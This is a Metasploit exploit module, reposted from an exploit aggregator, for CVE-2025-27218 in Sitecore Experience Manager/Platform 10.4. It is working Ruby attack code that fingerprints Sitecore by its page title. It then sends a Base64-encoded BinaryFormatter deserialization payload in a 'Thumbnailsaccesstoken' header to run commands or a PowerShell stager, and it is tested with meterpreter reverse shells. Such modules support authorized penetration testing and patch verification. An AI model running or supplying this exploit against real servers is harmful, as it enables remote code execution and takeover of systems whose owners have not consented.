Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-HTTP-SITECORE_XP_CVE_2025_27218-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Util::DotNetDeserialization
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
        'Description' => %q{
          This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
          Platform (XP) 10.4 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Dylan Pindur', # Discovery
          'machang-r7'    # Module Creator
        ],
        'References' => [
          ['CVE', '2025-27218'],
          ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
          ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
        ],
        'DisclosureDate' => '2025-01-06',
        'DefaultTarget' => 0,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :windows_command
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager
              # tested with windows/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/'])
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    })

    if res&.code == 200 && res&.get_html_document&.at('//title')&.text&.strip == 'Welcome to Sitecore'
      CheckCode::Detected('The target is running SiteCore.')
    else
      CheckCode::Safe('The target does not appear to be running SiteCore.')
    end
  end

  def exploit
    case target['Type']
    when :windows_command
      execute_command(payload.encoded)
    when :psh_stager
      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
    end
  end

  def execute_command(cmd, _opts = {})
    sploit = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :WindowsIdentity,
      formatter: :BinaryFormatter
    ))

    # Build HTTP request with malicious header
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'headers' => {
        'Thumbnailsaccesstoken' => sploit
      }
    })

    if res && res.code == 200
      print_good('Server responded with 200, this probably means it worked.')
    else
      print_error("Server didn't respond with 200. Try setting the target URL to a valid page.")
    end
  end
end